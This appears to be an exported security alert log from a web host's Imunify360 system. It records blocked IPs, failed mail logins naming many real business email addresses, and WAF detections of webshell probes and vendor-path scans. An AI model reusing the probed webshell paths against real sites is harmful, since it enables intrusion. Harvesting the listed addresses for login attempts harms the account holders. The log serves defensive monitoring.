name: Imunify PAM. The IP has been locked by RBL
abuser: 213.92.204.25
country_id: 798544
description:
Jan 16 03:54:26 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 213.92.204.25 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.120.104.209
country_id: 3469034
description:
Jan 16 04:00:02 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.120.104.209 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 109.125.194.172
country_id: 798544
description:
Jan 16 04:00:12 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 109.125.194.172 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.139.0.93
country_id: 2300660
description:
Jan 16 04:00:26 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.139.0.93 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.169.84
country_id: 3175395
description:
Jan 16 04:01:27 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.169.84 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.240.96.146
country_id: 3469034
description:
Jan 16 04:01:51 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.240.96.146 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 103.53.216.74
country_id: 2077456
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:04-02.103.53.216.74||RSV:7.63||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.240.96.146
country_id: 3469034
description:
Jan 16 04:01:59 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.240.96.146 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.129.62.97
country_id: 953987
description:
Jan 16 04:02:14 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.129.62.97 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.200.48.114
country_id: 1269750
description:
2026-01-16 04:07:53 dovecot_login authenticator failed for H=([121.200.48.114]) [121.200.48.114]:52036: 535 Incorrect authentication data (set_id=rosliza@stonewld.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 179.190.119.147
country_id: 3469034
domain: task.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/task.visoft.com.my/vendor/sebastian/environment/src/Runtime.php HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 121.200.48.114
country_id: 1269750
description:
Jan 16 04:07:51 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 121.200.48.114 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 46.188.90.134
country_id: 2017370
description:
Jan 16 04:09:00 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 46.188.90.134 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.188.90.134
country_id: 2017370
description:
2026-01-16 04:09:02 dovecot_login authenticator failed for H=([46.188.90.134]) [46.188.90.134]:59726: 535 Incorrect authentication data (set_id=lkwong.isc@vc-b.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 217.165.114.171
country_id: 290557
description:
Jan 16 04:09:23 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 217.165.114.171 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 217.165.114.171
country_id: 290557
description:
2026-01-16 04:09:25 dovecot_login authenticator failed for H=bba-217-165-114-171.alshamil.net.ae [217.165.114.171]:55192: 535 Incorrect authentication data (set_id=general@acburn.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 121.73.163.57
country_id: 2186224
description:
Jan 16 04:09:29 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 121.73.163.57 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.73.163.57
country_id: 2186224
description:
2026-01-16 04:09:31 dovecot_login authenticator failed for H=([121.73.163.57]) [121.73.163.57]:47840: 535 Incorrect authentication data (set_id=lkwong.isc)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 109.100.41.198
country_id: 798549
description:
2026-01-16 04:09:22 dovecot_login authenticator failed for H=([109.100.41.198]) [109.100.41.198]:60432: 535 Incorrect authentication data (set_id=salesmp@aoto.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 166.145.46.87
country_id: 6252001
description:
Jan 16 04:10:39 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 166.145.46.87 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 166.145.46.87
country_id: 6252001
description:
2026-01-16 04:10:41 dovecot_login authenticator failed for H=([166.145.46.87]) [166.145.46.87]:21139: 535 Incorrect authentication data (set_id=lkwong.isc)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 58.251.21.148
country_id: 1814991
description:
2026-01-16 04:10:22 dovecot_login authenticator failed for H=(reverse.gdsz.cncnet.net) [58.251.21.148]:64556: 535 Incorrect authentication data (set_id=lkwong.isc@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 112.240.84.81
country_id: 1814991
description:
2026-01-16 04:10:23 dovecot_login authenticator failed for H=([112.240.84.81]) [112.240.84.81]:45921: 535 Incorrect authentication data (set_id=general)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 58.251.21.148
country_id: 1814991
description:
Jan 16 04:10:20 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 58.251.21.148 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 112.240.84.81
country_id: 1814991
description:
Jan 16 04:10:21 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 112.240.84.81 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.206.123.243
country_id: 1269750
description:
2026-01-16 04:11:50 dovecot_plain authenticator failed for H=(wnqb8oghkh04ea0k) [117.206.123.243]:59654: 535 Incorrect authentication data (set_id=rubinee.arulanantham@cofreth.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 117.250.149.25
country_id: 1269750
description:
Jan 16 04:11:11 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 117.250.149.25 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 117.206.123.243
country_id: 1269750
description:
Jan 16 04:11:48 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 117.206.123.243 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.133.34
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/m.me/img/photos/press.php||SC:/home/indfinitydesign/public_html/m.me||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-16 04:12:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:57477: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.53.129.58
country_id: 3469034
description:
Jan 16 04:14:01 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.53.129.58 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 213.209.159.15
country_id: 1668284
description:
Jan 16 04:14:17 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 213.209.159.15 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 179.0.250.167
country_id: 3865483
description:
Jan 16 04:14:26 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 179.0.250.167 has been locked due to Imunify RBL


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 194.164.107.4
country_id: 6252001
description:
2026-01-16  4:14:30 142002 [Warning] Aborted connection 142002 to db: 'unconnected' user: 'unauthenticated' host: '194.164.107.4' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 35.130.111.146
country_id: 6252001
description:
2026-01-16 04:15:36 dovecot_login authenticator failed for H=syn-035-130-111-146.biz.spectrum.com [35.130.111.146]:58441: 535 Incorrect authentication data (set_id=bptioh@mckd.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 35.130.111.146
country_id: 6252001
description:
Jan 16 04:15:34 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 35.130.111.146 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 182.95.54.206
country_id: 1269750
description:
Jan 16 04:16:31 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 182.95.54.206 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.54.206
country_id: 1269750
description:
2026-01-16 04:16:33 dovecot_login authenticator failed for H=([182.95.24.19]) [182.95.54.206]:57254: 535 Incorrect authentication data (set_id=safuddin@ajplantations.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 182.95.62.42
country_id: 1269750
description:
Jan 16 04:16:47 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 182.95.62.42 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.62.42
country_id: 1269750
description:
2026-01-16 04:16:49 dovecot_login authenticator failed for H=([182.78.122.105]) [182.95.62.42]:58008: 535 Incorrect authentication data (set_id=safuddin)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 73.27.33.174
country_id: 6252001
description:
Jan 16 04:17:23 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 73.27.33.174 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 73.27.33.174
country_id: 6252001
description:
2026-01-16 04:17:25 dovecot_plain authenticator failed for H=c-73-27-33-174.hsd1.fl.comcast.net (hicomputes) [73.27.33.174]:53274: 535 Incorrect authentication data (set_id=kelvin.kong@tujusetia.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 73.134.117.78
country_id: 6252001
description:
Jan 16 04:16:59 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 73.134.117.78 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 73.134.117.78
country_id: 6252001
description:
2026-01-16 04:17:01 dovecot_login authenticator failed for H=c-73-134-117-78.hsd1.md.comcast.net [73.134.117.78]:1791: 535 Incorrect authentication data (set_id=serene.chin@manforce.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 213.209.159.15
country_id: 1668284
description:
Jan 16 04:18:50 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 213.209.159.15 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 223.109.49.232
country_id: 1814991
description:
Jan 16 04:18:29 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 223.109.49.232 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 121.73.168.19
country_id: 2186224
description:
Jan 16 04:18:31 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 121.73.168.19 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 223.109.49.232
country_id: 1814991
description:
2026-01-16 04:18:31 dovecot_login authenticator failed for H=([223.109.49.232]) [223.109.49.232]:34626: 535 Incorrect authentication data (set_id=michaelchin.vpb@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.73.168.19
country_id: 2186224
description:
2026-01-16 04:18:33 dovecot_login authenticator failed for H=([121.73.168.19]) [121.73.168.19]:57812: 535 Incorrect authentication data (set_id=myloo@euratech.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 80.93.62.202
country_id: 2017370
description:
Jan 16 04:20:17 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 80.93.62.202 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 77.83.39.167
country_id: 690791
description:
2026-01-16 04:20:18 H=([77.83.39.167]) [77.83.39.167]:62671 F=<stevenwelboun@op.pl> rejected RCPT <inquiries@ktlog.com.my>: SPF: 77.83.39.167 is not allowed to send mail from op.pl


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.93.62.202
country_id: 2017370
description:
2026-01-16 04:20:19 dovecot_login authenticator failed for H=80-93-62-202.vps-ptr.clients.spaceweb.ru [80.93.62.202]:36638: 535 Incorrect authentication data (set_id=ahmad.asif@acburn.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 146.158.145.31
country_id: 2510769
description:
Jan 16 04:20:43 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 146.158.145.31 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 146.158.145.31
country_id: 2510769
description:
2026-01-16 04:20:45 dovecot_login authenticator failed for H=31.145.158.146.dynamic.jazztel.es [146.158.145.31]:57826: 535 Incorrect authentication data (set_id=sales@acburn.com.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.155.44
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/residential/img/photos/images/team.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.137.160
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/residential/img/photos/images/about.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 207.248.113.55
country_id: 3996063
description:
Jan 16 04:23:23 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 207.248.113.55 has been locked due to Imunify RBL


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 8.217.211.82
country_id: 1819730
domain: pftfood.com
description:
IM360 WAF: Bad file extension||RSV:7.63||T:APACHE||MVN:REQUEST_FILENAME||MV:/home/000~ROOT~000/etc/imunify360-wafd/modsecurity.conf||User:root||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.118.34.108
country_id: 1269750
description:
Jan 16 04:24:13 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.118.34.108 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 90.185.125.199
country_id: 2623032
description:
Jan 16 04:25:51 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 90.185.125.199 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 90.185.125.199
country_id: 2623032
description:
2026-01-16 04:25:53 dovecot_login authenticator failed for H=x5ab97dc7.customers.hiper-net.dk [90.185.125.199]:49297: 535 Incorrect authentication data (set_id=accounting@acburn.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 171.104.244.98
country_id: 1814991
description:
2026-01-16 04:26:25 dovecot_login authenticator failed for H=(tevwz) [171.104.244.98]:62768: 535 Incorrect authentication data (set_id=hr)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 171.104.244.98
country_id: 1814991
description:
2026-01-16 04:27:01 dovecot_login authenticator failed for H=(lyqml) [171.104.244.98]:62768: 535 Incorrect authentication data


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 27.107.102.154
country_id: 1269750
description:
Jan 16 04:27:05 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 27.107.102.154 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.107.102.154
country_id: 1269750
description:
2026-01-16 04:27:07 dovecot_login authenticator failed for H=(static-154.102.107.27-tataidc.co.in) [27.107.102.154]:60952: 535 Incorrect authentication data (set_id=ahmad.asif@acburn.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 73.27.33.174
country_id: 6252001
description:
Jan 16 04:28:06 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 73.27.33.174 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.79.89.118
country_id: 1269750
description:
2026-01-16 04:28:18 dovecot_login authenticator failed for H=([182.95.197.1]) [182.79.89.118]:47564: 535 Incorrect authentication data (set_id=slgoh@kendek.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.48.181.63
country_id: 719819
description:
Jan 16 04:28:23 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.48.181.63 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 72.241.202.216
country_id: 6252001
description:
2026-01-16 04:28:41 dovecot_plain authenticator failed for H=cm-72-241-202-216.buckeyecom.net (amworess) [72.241.202.216]:50124: 535 Incorrect authentication data (set_id=jasperchong@tujusetia.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 209.23.71.41
country_id: 6252001
description:
2026-01-16 04:28:53 dovecot_login authenticator failed for H=([209.23.71.41]) [209.23.71.41]:50010: 535 Incorrect authentication data (set_id=boss@astlog.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 46.10.105.153
country_id: 732800
description:
Jan 16 04:28:04 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 46.10.105.153 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 73.27.33.174
country_id: 6252001
description:
2026-01-16 04:28:08 dovecot_plain authenticator failed for H=c-73-27-33-174.hsd1.fl.comcast.net (dospisms) [73.27.33.174]:38040: 535 Incorrect authentication data (set_id=sales2@ocned.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 182.79.89.118
country_id: 1269750
description:
Jan 16 04:28:16 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 182.79.89.118 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.114.23.49
country_id: 1210997
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-category.php?id=5&page_id=1&sub=22 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 209.23.71.41
country_id: 6252001
description:
Jan 16 04:28:51 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 209.23.71.41 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 91.84.113.5
country_id: 2750405
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:04-29.91.84.113.5||RSV:7.63||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.44.96.122
country_id: 3469034
description:
Jan 16 04:29:29 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.44.96.122 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 198.44.137.54
country_id: 6252001
description:
198.44.137.54 - - [16/Jan/2026:04:33:27 +0800] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13211803&pdata=http%253A%252F%252Fa-connect.global%253A2086%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1768509201 HTTP/1.1" 302 0 a-connect.global "http://a-connect.global:2086/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:198.44.137.54


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 38.65.137.69
country_id: 3996063
description:
Jan 16 04:33:04 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 38.65.137.69 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.255.215.59
country_id: 732800
description:
Jan 16 04:33:24 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.255.215.59 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 198.44.137.54
country_id: 6252001
description:
198.44.137.54 - - [16/Jan/2026:04:33:58 +0800] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10078619&pdata=http%253A%252F%252Fwww.a-connect.global%253A2086%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1768509232 HTTP/1.1" 302 0 www.a-connect.global "http://www.a-connect.global:2086/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 11_0_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:198.44.137.54


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.248.94.161
country_id: 1562822
domain: www.box.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.box.com.my/image/cache/catalog/Image/Products/Multi H.D/Multi Purpose  side-150x150.JPG HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.44.96.124
country_id: 3469034
description:
Jan 16 04:35:39 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.44.96.124 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.239.35.231
country_id: 3175395
description:
Jan 16 04:36:01 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.239.35.231 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-16 04:39:04 H=([45.144.212.242]) [45.144.212.242]:50188 F=<lynnied@mhtc.net> rejected RCPT <sales@wohcheong.com.my>: Unrouteable address


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 196.179.152.12
country_id: 2464461
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/tests/vendor/symfony/translation/MessageCatalogue.php HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-16 04:40:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:57505: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 207.248.113.77
country_id: 3996063
description:
Jan 16 04:40:30 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 207.248.113.77 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.133.34
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/commercial/img/esg.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 179.189.196.65
country_id: 3469034
description:
Jan 16 04:40:54 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 179.189.196.65 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 78.31.92.10
country_id: 798544
description:
Jan 16 04:41:38 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 78.31.92.10 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.155.44
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/index.php/img/druma_photos/csr.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 186.122.224.111
country_id: 3865483
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/tests/vendor/paragonie/random_compat/other HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 195.19.213.141
country_id: 6252001
domain: www.hmz.com.my
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/133.0.0.0 Safari/537.36||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 8.217.210.226
country_id: 1819730
domain: pftfood.com
description:
IM360 WAF: Bad file extension||RSV:7.63||T:APACHE||MVN:REQUEST_FILENAME||MV:/home/000~ROOT~000/usr/share/wireplumber/bluetooth.conf||User:root||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 38.56.216.83
country_id: 3932488
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/tests/vendor/paragonie/random_compat/other/ HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.255.215.119
country_id: 732800
description:
Jan 16 04:45:41 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.255.215.119 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.74.243.16
country_id: 2510769
description:
Jan 16 04:45:55 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.74.243.16 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.150.65
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/index.php/images/news-new.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.74.243.16
country_id: 2510769
description:
